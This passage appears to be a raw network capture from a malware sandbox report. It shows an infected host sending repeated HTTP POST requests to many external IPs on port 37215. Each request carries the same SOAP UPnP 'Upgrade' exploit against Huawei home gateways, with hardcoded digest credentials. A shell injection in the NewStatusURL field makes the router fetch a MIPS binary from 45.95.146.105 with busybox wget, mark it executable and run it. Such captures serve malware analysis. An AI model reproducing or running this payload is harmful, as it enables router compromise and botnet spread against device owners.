20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:44.945632935 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.23	49662	94.121.115.25	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:49.903824091 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.23	40066	41.207.108.33	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:49.973375082 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.23	55752	154.23.134.73	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:50.287760019 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:51.897058964 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:53.816687107 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:57.848113060 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:05.527086020 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:20.885009050 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 